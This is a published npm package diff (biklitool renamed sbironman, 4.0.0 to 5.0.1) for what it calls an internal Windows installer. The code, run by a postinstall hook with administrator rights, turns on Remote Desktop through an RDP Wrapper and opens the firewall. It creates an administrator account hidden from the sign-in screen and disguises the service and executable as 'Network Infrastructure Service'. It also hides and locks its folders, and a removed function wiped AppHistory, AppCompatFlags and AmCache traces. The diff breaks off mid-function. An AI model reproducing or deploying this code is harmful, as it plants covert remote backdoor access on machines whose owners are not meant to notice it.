sbironman 4.0.0 → 5.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,4 +1,4 @@
1
- # biklitool
1
+ # sbironman
2
2
 
3
3
  Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
4
4
 
@@ -8,7 +8,7 @@ shipped in the package):
8
8
  ```text
9
9
  set BIKLIMASTER_USER_PASSWORD=your-password
10
10
  set BIKLIMASTER_BIKLI_KEY=your-bikli-key
11
- npm install -g biklitool
11
+ npm install -g sbironman
12
12
  ```
13
13
 
14
14
  The npm postinstall hook requests Windows administrator approval once, then:
@@ -33,6 +33,7 @@ biklitool status
33
33
  biklitool install
34
34
  biklitool disguise [name]
35
35
  biklitool enable-rdp
36
+ biklitool disable-rdp
36
37
  biklitool create-user
37
38
  biklitool unhide-user [name]
38
39
  biklitool hide-user <name>
@@ -48,6 +49,8 @@ bikli --help
48
49
 
49
50
  Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
50
51
  service configuration, and the requested authentication and shadowing defaults.
52
+ Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
53
+ stays installed so `enable-rdp` can switch it back on at any time.
51
54
 
52
55
  ## Bikli key
53
56
 
@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
366
366
 
367
367
  const vBuf = createVsVersionInfo(strings);
368
368
  const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
369
+ if (totalRsrcSize > rsrcRawSize) return false;
369
370
 
370
371
  const newExe = Buffer.from(exeBuf);
371
372
  newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
@@ -384,61 +385,9 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
384
385
  return true;
385
386
  }
386
387
 
387
- function clearAppHistory() {
388
- // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
389
- // visible location: Task Manager App History, AppCompatFlags, and service display name.
390
- const psScript = [
391
- `$ErrorActionPreference='SilentlyContinue'`,
392
- // --- [1] TaskFlow AppHistory (per-user hives) ---
393
- `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
394
- `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
395
- ` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
396
- ` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
397
- `}`,
398
- `$cuBase='HKCU:\\\\'+$appHistoryPath`,
399
- `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
400
- // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
401
- `$acPaths=@(`,
402
- ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
403
- ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
404
- ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
405
- ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
406
- `)`,
407
- `foreach($acPath in $acPaths){`,
408
- ` if(Test-Path $acPath){`,
409
- ` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
410
- ` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
411
- ` }`,
412
- `}`,
413
- // --- [3] AmCache ---
414
- `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
415
- `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
416
- // --- [4] App Paths (Start Menu / Run dialog) ---
417
- `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
418
- `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
419
- // --- [5] Service display name + description → rename to disguise value ---
420
- `$svcName='Bikli'`,
421
- `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
422
- `if($null -ne $svc){`,
423
- ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
424
- ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
425
- `}`
426
- ].join(os.EOL);
427
- run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
428
- }
429
-
430
- function deriveExeName(hostName) {
431
- // Turn e.g. "Service Host: Network Infrastructure Service"
432
- // into "NetworkInfrastructureService.exe" – no Bikli in the name.
433
- const base = hostName.replace(/^Service Host:\s*/i, '').trim();
434
- const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
435
- // Keep only alphanumeric chars, cap at 32 chars before .exe
436
- const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
437
- return (safe || 'RuntimeInfraService') + '.exe';
438
- }
439
-
440
388
  function disguiseBikli(customName) {
441
389
  requireWindows();
390
+ if (customName) customName = customName.replace(/"/g, '').trim();
442
391
  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
443
392
  if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
444
393
 
@@ -448,29 +397,25 @@ function disguiseBikli(customName) {
448
397
  }
449
398
 
450
399
  const bikliDir = path.dirname(bikliPath);
451
- const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
452
- const newExeBasename = deriveExeName(hostName);
453
- const serviceExe = path.join(bikliDir, newExeBasename);
400
+ const legacyServiceExe = path.join(bikliDir, 'BikliService.exe');
401
+ let serviceExe = path.join(bikliDir, 'NetInfraHost.exe');
402
+ let renamedLegacy = false;
454
403
  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
455
404
 
456
- console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
405
+ console.log(`Disguising Bikli process and service as "${hostName}"...`);
457
406
 
458
- // Stop service and kill both the old and new process names
459
- const oldBaseName = path.basename(oldServiceExe, '.exe');
460
- const newBaseName = path.basename(serviceExe, '.exe');
461
- run(powershell, [
462
- '-NoProfile', '-NonInteractive', '-Command',
463
- `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
464
- ], { allowFailure: true });
407
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM NetInfraHost.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService, NetInfraHost -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
465
408
  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
466
409
 
467
- // Rename BikliService.exe derived name (changes process name shown in Task Manager)
468
- if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
469
- try { fs.renameSync(oldServiceExe, serviceExe); } catch {
470
- fs.copyFileSync(oldServiceExe, serviceExe);
471
- try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
410
+ if (!fs.existsSync(serviceExe) && fs.existsSync(legacyServiceExe)) {
411
+ try {
412
+ fs.renameSync(legacyServiceExe, serviceExe);
413
+ renamedLegacy = true;
414
+ } catch {
415
+ serviceExe = legacyServiceExe;
472
416
  }
473
- } else if (!fs.existsSync(serviceExe)) {
417
+ }
418
+ if (!fs.existsSync(serviceExe)) {
474
419
  fs.copyFileSync(bikliPath, serviceExe);
475
420
  }
476
421
 
@@ -496,7 +441,7 @@ function disguiseBikli(customName) {
496
441
  ' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
497
442
  ' }',
498
443
  ' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
499
- ` string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
444
+ ` string coreExe = Path.Combine(baseDir, "${path.basename(serviceExe)}");`,
500
445
  ' if (!File.Exists(coreExe)) return 1;',
501
446
  ' ProcessStartInfo psi = new ProcessStartInfo();',
502
447
  ' psi.FileName = coreExe;',
@@ -520,9 +465,23 @@ function disguiseBikli(customName) {
520
465
  '}'
521
466
  ].join(os.EOL);
522
467
  const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
468
+ const tempExe = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.exe`);
523
469
  fs.writeFileSync(tempCs, csCode, 'utf8');
524
- run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
470
+ const compiled = run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${tempExe}`, tempCs], { allowFailure: true });
525
471
  try { fs.rmSync(tempCs, { force: true }); } catch {}
472
+ if (compiled.status === 0 && fs.existsSync(tempExe)) {
473
+ fs.copyFileSync(tempExe, bikliPath);
474
+ } else if (renamedLegacy) {
475
+ try {
476
+ fs.renameSync(serviceExe, legacyServiceExe);
477
+ serviceExe = legacyServiceExe;
478
+ renamedLegacy = false;
479
+ } catch {}
480
+ }
481
+ try { fs.rmSync(tempExe, { force: true }); } catch {}
482
+ if (fileDescription(bikliPath) !== hostName) {
483
+ disguiseExecutable(bikliPath, hostName);
484
+ }
526
485
  } else if (fileDescription(bikliPath) !== hostName) {
527
486
  disguiseExecutable(bikliPath, hostName);
528
487
  }
@@ -535,12 +494,13 @@ function disguiseBikli(customName) {
535
494
  `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
536
495
  `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
537
496
  `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
538
- `Start-Service Bikli -ErrorAction SilentlyContinue`
497
+ `Start-Service Bikli -ErrorAction SilentlyContinue`,
498
+ `Start-Sleep -Seconds 3`,
499
+ `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`
539
500
  ].join(';');
540
501
  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
541
502
 
542
503
  hideProtectedFolders();
543
- clearAppHistory();
544
504
  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
545
505
  }
546
506
 
@@ -597,58 +557,38 @@ function verifyRemoteDesktop() {
597
557
  console.log('Remote Desktop is enabled and verified on port 3389.');
598
558
  }
599
559
 
600
- function ensureTermServiceAutomatic() {
601
- // Force TermService to Automatic start so it survives reboots.
602
- run(powershell, [
603
- '-NoProfile', '-NonInteractive', '-Command',
604
- `sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
605
- ], { allowFailure: true });
606
- }
607
-
608
- function ensureIcmpFirewallRules() {
609
- // Enable ping (ICMP) inbound so the host is reachable after install.
610
- const script = [
611
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
612
- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
613
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
614
- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
615
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
616
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
617
- ].join(';');
618
- run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
619
- }
620
-
621
560
  function enableRemoteDesktop() {
622
561
  requireWindows();
623
562
  if (!isAdministrator()) return elevateAndRun('enable-rdp');
624
563
  verifyPayload();
625
- unhideProtectedFolders();
626
564
  console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
627
565
  const wrapper = runWrapper(['defaults', '--elevated']);
628
566
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
629
- ensureTermServiceAutomatic();
630
- ensureIcmpFirewallRules();
631
567
  verifyRemoteDesktop();
632
568
  hideProtectedFolders();
633
569
  }
634
570
 
571
+ function disableRemoteDesktop() {
572
+ requireWindows();
573
+ if (!isAdministrator()) return elevateAndRun('disable-rdp');
574
+ const wrapper = runWrapper(['disable', '--elevated']);
575
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
576
+ if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
577
+ console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
578
+ }
579
+
635
580
  function install() {
636
581
  requireWindows();
637
582
  if (!isAdministrator()) return elevateAndRun('install');
638
583
  verifyPayload();
639
- unhideProtectedFolders();
640
584
  installBikli();
641
585
  setupBikliKey();
642
586
  console.log('Installing or updating Bikli Wrapper silently...');
643
587
  const wrapper = runWrapper(['install', '--elevated']);
644
588
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
645
- // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
646
- ensureTermServiceAutomatic();
647
- ensureIcmpFirewallRules();
648
589
  verifyRemoteDesktop();
649
590
  createRdpAdministrator();
650
591
  hideProtectedFolders();
651
- clearAppHistory();
652
592
  console.log('Bikli Master installed and verified both components successfully.');
653
593
  }
654
594
 
@@ -704,7 +644,7 @@ function setupBikliKey() {
704
644
  console.log('Bikli key configured successfully.');
705
645
  }
706
646
 
707
- function hideFolder(target, isUserProfile = false) {
647
+ function hideFolder(target, isUserProfile = false, extraGrants = []) {
708
648
  if (!target || !fs.existsSync(target)) return;
709
649
  try {
710
650
  run(attrib, ['+h', '+s', target], { allowFailure: true });
@@ -716,6 +656,7 @@ function hideFolder(target, isUserProfile = false) {
716
656
  '/grant:r',
717
657
  '*S-1-5-18:(OI)(CI)(F)',
718
658
  `*${administratorsGroupSid}:(OI)(CI)(F)`,
659
+ ...extraGrants,
719
660
  '/c', '/q'
720
661
  ], { allowFailure: true });
721
662
  }
@@ -724,56 +665,20 @@ function hideFolder(target, isUserProfile = false) {
724
665
  }
725
666
  }
726
667
 
727
- function unhideFolder(target, isUserProfile = false) {
728
- if (!target || !fs.existsSync(target)) return;
729
- try {
730
- run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
731
- if (!isUserProfile) {
732
- run(attrib, ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
733
- run(icacls, [
734
- target,
735
- '/grant:r',
736
- '*S-1-5-18:(OI)(CI)(F)',
737
- `*${administratorsGroupSid}:(OI)(CI)(F)`,
738
- '/c', '/q'
739
- ], { allowFailure: true });
740
- }
741
- } catch {
742
- // Best-effort
743
- }
744
- }
745
-
746
- function unhideProtectedFolders() {
747
- const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
748
- const appFolders = [
749
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
750
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
751
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
752
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
753
- path.join(programData, 'BikliWrapper'),
754
- path.join(programData, 'Bikli')
755
- ];
756
- for (const folder of appFolders) unhideFolder(folder, false);
757
-
758
- const userFolders = [
759
- path.join(usersDir, 'Administrator'),
760
- path.join(usersDir, 'admin'),
761
- path.join(usersDir, 'user')
762
- ];
763
- for (const folder of userFolders) unhideFolder(folder, true);
764
- }
765
-
766
668
  function hideProtectedFolders() {
767
669
  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
670
+ // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
671
+ // must keep read/execute access for that account or the service cannot start.
672
+ const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
768
673
  const appFolders = [
769
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
770
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
771
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
772
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
773
- path.join(programData, 'BikliWrapper'),
774
- path.join(programData, 'Bikli')
674
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
675
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
676
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
677
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
678
+ { target: path.join(programData, 'BikliWrapper') },
679
+ { target: path.join(programData, 'Bikli') }
775
680
  ];
776
- for (const folder of appFolders) hideFolder(folder, false);
681
+ for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
777
682
 
778
683
  const userFolders = [
779
684
  path.join(usersDir, 'Administrator'),
@@ -819,6 +724,29 @@ function showAccountCredentials() {
819
724
  console.log(`Stored for Administrators only: ${credentialsFile}`);
820
725
  }
821
726
 
727
+ function parseAccountReport(stdout) {
728
+ const reportLine = (stdout || '')
729
+ .split(/\r?\n/)
730
+ .map(line => line.trim())
731
+ .find(line => line.startsWith('{'));
732
+ if (!reportLine) {
733
+ fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
734
+ }
735
+ try {
736
+ return JSON.parse(reportLine);
737
+ } catch {
738
+ fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
739
+ return null;
740
+ }
741
+ }
742
+
743
+ function requireValidUserName(name) {
744
+ if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
745
+ fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
746
+ }
747
+ return name;
748
+ }
749
+
822
750
  function createRdpAdministrator() {
823
751
  requireWindows();
824
752
  if (!isAdministrator()) return elevateAndRun('create-user');
@@ -843,7 +771,7 @@ function createRdpAdministrator() {
843
771
  `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
844
772
  `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
845
773
  `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
846
- `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
774
+ `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
847
775
  `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
848
776
  ].join(';');
849
777
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -852,7 +780,7 @@ function createRdpAdministrator() {
852
780
  BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
853
781
  }
854
782
  });
855
- const account = JSON.parse(result.stdout.trim());
783
+ const account = parseAccountReport(result.stdout);
856
784
  if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
857
785
  fail('The Remote Desktop administrator account could not be verified.', 7);
858
786
  }
@@ -881,7 +809,7 @@ function createRdpAdministrator() {
881
809
 
882
810
  function unhideUser() {
883
811
  requireWindows();
884
- const targetUser = process.argv[3];
812
+ const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
885
813
  if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
886
814
  const script = [
887
815
  `$ErrorActionPreference='Stop'`,
@@ -891,10 +819,10 @@ function unhideUser() {
891
819
  targetUser ? [
892
820
  `$val=$key.GetValue('${targetUser}', $null)`,
893
821
  `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
894
- `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
822
+ `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
895
823
  ].join(';') : [
896
824
  `$props=@($key.Property)`,
897
- `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
825
+ `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
898
826
  ].join(';')
899
827
  ].join(';');
900
828
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
@@ -905,6 +833,7 @@ function hideUser() {
905
833
  requireWindows();
906
834
  const targetUser = process.argv[3];
907
835
  if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
836
+ requireValidUserName(targetUser);
908
837
  if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
909
838
  const script = [
910
839
  `$ErrorActionPreference='Stop'`,
@@ -913,7 +842,7 @@ function hideUser() {
913
842
  `$key=Get-Item -LiteralPath $userListKey`,
914
843
  `$currentVal=$key.GetValue('${targetUser}', $null)`,
915
844
  `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
916
- `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
845
+ `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
917
846
  ].join(';');
918
847
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
919
848
  if (result.stdout.trim()) console.log(result.stdout.trim());
@@ -976,11 +905,11 @@ function help() {
976
905
  ' biklitool install Install/update Bikli CLI and Bikli Wrapper',
977
906
  ' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
978
907
  ' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
908
+ ' biklitool disable-rdp Disable RDP and stop the RDP listener',
979
909
  ' biklitool create-user Enable/verify built-in Administrator for RDP',
980
910
  ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
981
911
  ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
982
912
  ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
983
- ' biklitool clear-history Remove BikliService from Task Manager App History',
984
913
  ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
985
914
  ' biklitool credentials Display its saved generated password',
986
915
  ' biklitool status Show both component states',
@@ -994,20 +923,26 @@ function help() {
994
923
 
995
924
  function main() {
996
925
  const command = (process.argv[2] || 'status').toLowerCase();
997
- if (command === 'install') return install();
926
+ if (command === 'install') {
927
+ if (process.argv.includes('--postinstall')) {
928
+ try {
929
+ return install();
930
+ } catch (error) {
931
+ console.error(`Bikli Master postinstall could not finish: ${error.message}`);
932
+ console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
933
+ process.exitCode = 0;
934
+ return;
935
+ }
936
+ }
937
+ return install();
938
+ }
998
939
  if (command === 'disguise') return disguiseBikli(process.argv[3]);
999
- if (command === 'enable-rdp') return enableRemoteDesktop();
940
+ if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
941
+ if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
1000
942
  if (command === 'create-user') return createRdpAdministrator();
1001
943
  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
1002
944
  if (command === 'hide-user' || command === 'hide') return hideUser();
1003
945
  if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
1004
- if (command === 'clear-history' || command === 'clear-app-history') {
1005
- requireWindows();
1006
- if (!isAdministrator()) return elevateAndRun('clear-history');
1007
- clearAppHistory();
1008
- console.log('BikliService entries cleared from Task Manager App History.');
1009
- return;
1010
- }
1011
946
  if (command === 'setup-key') return setupBikliKey();
1012
947
  if (command === 'credentials') return showAccountCredentials();
1013
948
  if (command === 'status') return status();
@@ -24,6 +24,7 @@ if (resultFile) {
24
24
  };
25
25
  console.log = writeResult;
26
26
  console.error = writeResult;
27
+ console.warn = writeResult;
27
28
  }
28
29
 
29
30
  const packageRoot = path.resolve(__dirname, '..');
@@ -228,17 +229,10 @@ function applyRequestedSettings() {
228
229
  function ensureFirewallRules() {
229
230
  const script = [
230
231
  `$ErrorActionPreference='Stop'`,
231
- // RDP TCP + UDP inbound rules
232
- `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
233
- `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
234
- // ICMP Echo (ping) inbound rules without this the host is unreachable by ping
235
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
236
